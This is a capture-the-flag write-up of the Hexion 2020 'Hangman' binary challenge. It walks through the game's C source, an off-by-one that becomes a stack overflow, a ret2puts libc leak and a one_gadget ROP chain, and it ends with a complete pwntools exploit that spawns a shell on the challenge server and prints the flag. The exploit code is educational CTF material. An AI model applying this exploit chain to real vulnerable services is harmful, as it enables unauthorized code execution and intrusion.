CTF, PWN

Hexion 2020 Hangman writeup

Hangman

Binary Explotation, 988 points

Description

nc challenges1.hexionteam.com 3000 Note: flag is in ./flag hangman.zip

First, I like to check the program protections

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_hexion/Hangman_DONE$ checksec hangman
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_hexion/Hangman_DONE/hangman'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Lets run the program

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_hexion/Hangman_DONE$ ./hangman
Welcome to the Hangman game!!!
In this game, you have to guess the word
Else... YOU WILL BE HANGED!!!
Good Luck! UwU

 ___________.._______
| .__________))______|
| | / /      ||
| |/ /       ||
| | /        ||.-''.
| |/         |/  _  \
| |          ||  `/,|
| |          (\\`_.'
| |         .-`--'.
| |        /Y . . Y\
| |       // |   | \\
| |      //  | . |  \\
| |     ')   |   |   (`
| |          ||'||
| |          || ||
| |          || ||
| |          || ||
| |         / | | \
""""""""""|_`-' `-' |"""|
|"|"""""""\ \       '"|"|
| |        \ \        | |
: :         \ \       : :
. .          `'       . .

Lives: 5
_____

1 - Guess letter
2 - Guess word
3 - Give up
Enter choice: 

Looks like Its a hangman game, luckily we got source code :)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h> 
#include <unistd.h> 

#define WORD_MAX_LEN 32
#define MAX_HP 5
#define MAX_NUM_OF_WORDS 16
#define TRUE 1
#define FALSE 0

struct hangmanGame
{
    char word[WORD_MAX_LEN];
    char *realWord;
    char buffer[WORD_MAX_LEN];
    int wordLen;
    int hp;
};


unsigned int countLinesNum(char *filename)
{
    FILE *file = NULL;
    unsigned int count = 0;
    char c;

    file = fopen(filename, "r");

    if (!file)
    {
        puts("Failed to load list of words...");
        exit(1);
    }

    for (c = getc(file); c != EOF; c = getc(file))
    {
        if (c == '\n')
        {
            count++;
        }
    }

    fclose(file);

    return count;
}
       

char* getWord(char *filename, unsigned int wordMaxLen)
{
    unsigned int i = 0;
    unsigned int numOfWords = countLinesNum(filename);
    unsigned int wordNum = rand() % numOfWords + 1;
    unsigned int wordLen = 0;
    FILE* file = NULL;
    char *word = malloc(wordMaxLen);

    file = fopen(filename, "r");
    if (!file)
    {
        puts("Failed to load list of words...");
        exit(1);
    }

    for (i = 0; i < wordNum && fgets(word, wordMaxLen, file); i++);
    
    wordLen = strlen(word);
    for (i = 0; i < wordLen; i++)
    {
        if (word[i] == '\n')
        {
            word[i] = '\0';
        }
    }

    fclose(file);

    return word;
}
    

void initHangmanGame(struct hangmanGame *game)
{
    int i = 0;
    int len = 0;
    char* filename = "words.list";

    game->hp = MAX_HP;
    game->wordLen = WORD_MAX_LEN;
    
    game->realWord = getWord(filename, WORD_MAX_LEN);

    len = strlen(game->realWord);

    for (i = 0; i < len; i++)
    {
        game->word[i] = '_';
    }
    game->word[i] = 0;
}


void delHangmanGame(struct hangmanGame *game)
{
    free(game->realWord);
}


int guessLetter(struct hangmanGame *game)
{
    int len = strlen(game->realWord);
    int i = 0;
    int correct = FALSE;
    char letter = 0;

    letter = (char)getchar();
    getchar();

    for (i = 0; i < len; i++)
    {
        if (letter == game->realWord[i])
        {
            correct = TRUE;
            game->word[i] = letter;
        }
    }
    if (!correct)
    {
        game->hp--;
    }
    return correct;
}


int guessWord(struct hangmanGame *game)
{
    int i = 0;
    int len = game->wordLen;

    for (i = 0; i <= len; i++)
    {
        game->buffer[i] = (char)getchar();
        if (game->buffer[i] == '\n')
        {
            break;
        }
    }
    game->buffer[i] = 0;
    fflush(stdin);

    if (!strcmp(game->buffer, game->realWord))
    {
        strcpy(game->word, game->buffer);
        return TRUE;
    }
    game->hp--;

    return FALSE;
}


int isWordCompleted(struct hangmanGame *game)
{
    int i = 0;
    int len = strlen(game->word);

    for (i = 0; i < len; i++)
    {
        if (!islower(game->word[i]))
        {
            return FALSE;
        }
    }

    return TRUE;
}


int isDead(struct hangmanGame *game)
{
    return game->hp < 0;
}


void printHangman()
{
    puts(" ___________.._______\n"
         "| .__________))______|\n"
         "| | / /      ||\n"
         "| |/ /       ||\n"
         "| | /        ||.-''.\n"
         "| |/         |/  _  \\\n"
         "| |          ||  `/,|\n"
         "| |          (\\\\`_.'\n"
         "| |         .-`--'.\n"
         "| |        /Y . . Y\\\n"
         "| |       // |   | \\\\\n"
         "| |      //  | . |  \\\\\n"
         "| |     ')   |   |   (`\n"
         "| |          ||'||\n"
         "| |          || ||\n"
         "| |          || ||\n"
         "| |          || ||\n"
         "| |         / | | \\\n"
         "\"\"\"\"\"\"\"\"\"\"|_`-' `-' |\"\"\"|\n"
         "|\"|\"\"\"\"\"\"\"\\ \\       '\"|\"|\n"
         "| |        \\ \\        | |\n"
         ": :         \\ \\       : :\n"
         ". .          `'       . .\n");
}


void gameLoop()
{
    struct hangmanGame game;
    char choice = 0;
    int exit = FALSE;

    initHangmanGame(&game);
    
    do
    {
        printHangman();
        printf("Lives: %d\n", game.hp);
        printf("%s\n", game.word);
        printf("\n1 - Guess letter\n2 - Guess word\n3 - Give up\n");
        printf("Enter choice: ");

        choice = (char)getchar();
        getchar();

        switch (choice)
        {
        case '1':
            printf("Enter letter: ");
            if (guessLetter(&game))
            {
                puts("Correct!");
            }
            else
            {
                puts("Wrong...");
            }            
            break;
        
        case '2':
            printf("Enter word: ");
            if (guessWord(&game))
            {
                puts("Correct!");
            }
            else
            {
                puts("Wrong...");
            }
            break;

        case '3':
            puts("Good bye! :)");
            exit = TRUE;
            break;

        default:
            puts("Invalid choice...");
            break;
        }
    } while (!exit && !isWordCompleted(&game) && !isDead(&game));
   
    if (isWordCompleted(&game))
    {
        puts("Congratulations!!!");
        printf("You've guessed the word \"%s\"!!!\n", game.realWord);
        puts("But it is still not enough to get a flag");
        puts("Have a nice day!");
    }
    if (isDead(&game))
    {
        puts("You've been hanged!!! :/");
        printf("The word you were looking for is %s\n", game.realWord);
    }

    delHangmanGame(&game);
}


int main(int argc, char const *argv[])
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    srand(time(NULL));

    puts("Welcome to the Hangman game!!!");
    puts("In this game, you have to guess the word");
    puts("Else... YOU WILL BE HANGED!!!");
    puts("Good Luck! UwU\n");

    gameLoop();

    return 0;
}


Vulnerability

The vulnerabilities I found while examining the program are:

  1. week seed for rand function
srand(time(NULL));
  1. Stack Off By One
struct hangmanGame
{
    char word[WORD_MAX_LEN];
    char *realWord;
    char buffer[WORD_MAX_LEN];
    int wordLen;
    int hp;
};
...
int len = game->wordLen;

for (i = 0; i <= len; i++)
{
    game->buffer[i] = (char)getchar();
    if (game->buffer[i] == '\n')
    {
        break;
    }
}

Solution

After reviewing the vulnerabilities I’ve decided not to use the weak seed because I wont gain anything.

Because in the loop we read until i <= len instead of i < len we have an off by one, if we’ll look whats after the buffer in the struct we’ll see that well be overwriting the wordLen variable, but what good will that do?

If we search all the times that game->wordLen is used in the program we can see that he is used in two places:

  1. inside InitHangmanGame
    game->wordLen = WORD_MAX_LEN;
    
  2. inside guessWord
    int len = game->wordLen;
    

The first time its called during initialization so we dont care, but the second time :)

The program reads len charectars from the user into game->buffer, so we got buffer overflow.

But with what value? It doesnt really matter as long it will be in the size of our payload

buffer_length = 32
payload = 'A' * buffer_length + 'z'
guess_word(payload, clean_buffer=True)

The clean buffer option is to clean the buffer, any two digit number will be good, try to see what happens if you wont do it

I took ‘z’ because Its the charecter with the greatest ascii value

Now that we control over rip where should we jump? i couldnt see any print_flag functions

This is where i got a bit off from the intended solution from the author of the challenge

Becuase there isnt Canary to the program we can overwrite the buffer as we want without fear of crashing

I thought to leak a libc address using ret2puts technique and then jumping to one gadget. I figured out the remote libc version using libc database search

So we want to jump to puts@plt with puts@got as the first argument, hence the program is 64 bits we need a pop rdi; ret gadget, well use ROPgadget for this:

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_hexion/Hangman_DONE$ ROPgadget --binary hangman | grep 'pop rdi'
0x00000000004019a3 : pop rdi ; ret

lets write the second payload:

overflow_offset = 64
pop_rdi_ret = 0x4019a3
puts_got = e.got['puts']
puts_plt = e.sym['puts']
game_loop = e.sym['gameLoop']
payload = 'A' * overflow_offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +  p64(game_loop)
guess_word(payload)

But wait, where should we return after the leak? I decided to return to gameLoop function, yes it means we will have to trigger the off by one again, but its only a couple of rows :)

Lets collect our precious leak, calculate libc base and trigger the off by one again:

sh.recvuntil('Wrong...\n')
leak = u64(sh.recvline(keepends=False).ljust(8, '\x00'))
libc.address = leak - libc.sym['_IO_puts']
log.info('libc base: {}'.format(hex(libc.address)))


payload = 'A' * buffer_length + 'z'
guess_word(payload, clean_buffer=True)

finally we can check the offset for a one gadget using the onegadget tool:

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_hexion/Hangman_DONE$ one_gadget /lib/x86_64-linux-gnu/libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

To find out which will be good for us we can put a breakpoint right before the exit of gameLoop becuase thats the function rip’s we will overwrite and check the constraints

Now we can overflow and jump to one gadget :)

one_gadget_offset = 0x10a38c
payload = 'A' * overflow_offset + p64(libc.address + one_gadget_offset)
guess_word(payload)

sh.interactive()

Thats the final exploit:

from pwn import *
import sys

context.clear(os='linux', arch='amd64')
# context.log_level='debug'

__author__ = 'yuvaly0'

argv = sys.argv
binary_path = './hangman'
REMOTE = False
DEBUG = False

if len(argv) > 1:
	if argv[1] == 'remote':
		REMOTE = True
	if argv[1] == 'debug':
		DEBUG = True

if REMOTE:
	sh = remote('challenges1.hexionteam.com', 3000)
else:
	sh = process([binary_path])

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')


if DEBUG:
	gdb.attach(sh, '''
		b* gameLoop+494
		c
		''')

e = ELF(binary_path)

# ------------- plan -----------
# overflow and leak puts got address
# jump to one gadget

def guess_word(word, clean_buffer=False):
	sh.sendlineafter('Enter choice: ', '2')
	sh.sendlineafter('Enter word: ', word)
	if clean_buffer:
		sh.sendlineafter('Enter choice: ', '10') # clean buffer


buffer_length = 32
payload = 'A' * buffer_length + 'z'
guess_word(payload, clean_buffer=True)

overflow_offset = 64
pop_rdi_ret = 0x4019a3
puts_got = e.got['puts']
puts_plt = e.sym['puts']
game_loop = e.sym['gameLoop']
payload = 'A' * overflow_offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +  p64(game_loop)
guess_word(payload)


sh.recvuntil('Wrong...\n')
leak = u64(sh.recvline(keepends=False).ljust(8, '\x00'))
libc.address = leak - libc.sym['_IO_puts']
log.info('libc base: {}'.format(hex(libc.address)))


payload = 'A' * buffer_length + 'z'
guess_word(payload, clean_buffer=True)

one_gadget_offset = 0x10a38c
payload = 'A' * overflow_offset + p64(libc.address + one_gadget_offset)
guess_word(payload)

sh.interactive()

We’ll run with the remote option:

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_hexion/Hangman_DONE$ python exploit.py remote
[+] Opening connection to challenges1.hexionteam.com on port 3000: Done
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_hexion/Hangman_DONE/hangman'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] libc base: 0x7fc00ff72000
[*] Switching to interactive mode
Wrong...
$ ls
flag
hangman
hangman.c
words.list
ynetd
$ cat flag
hexCTF{e1th3r_y0u_gu3ss_0r_y0u_h4ng}

Flag:

hexCTF{e1th3r_y0u_gu3ss_0r_y0u_h4ng}

updated_at 13-04-2020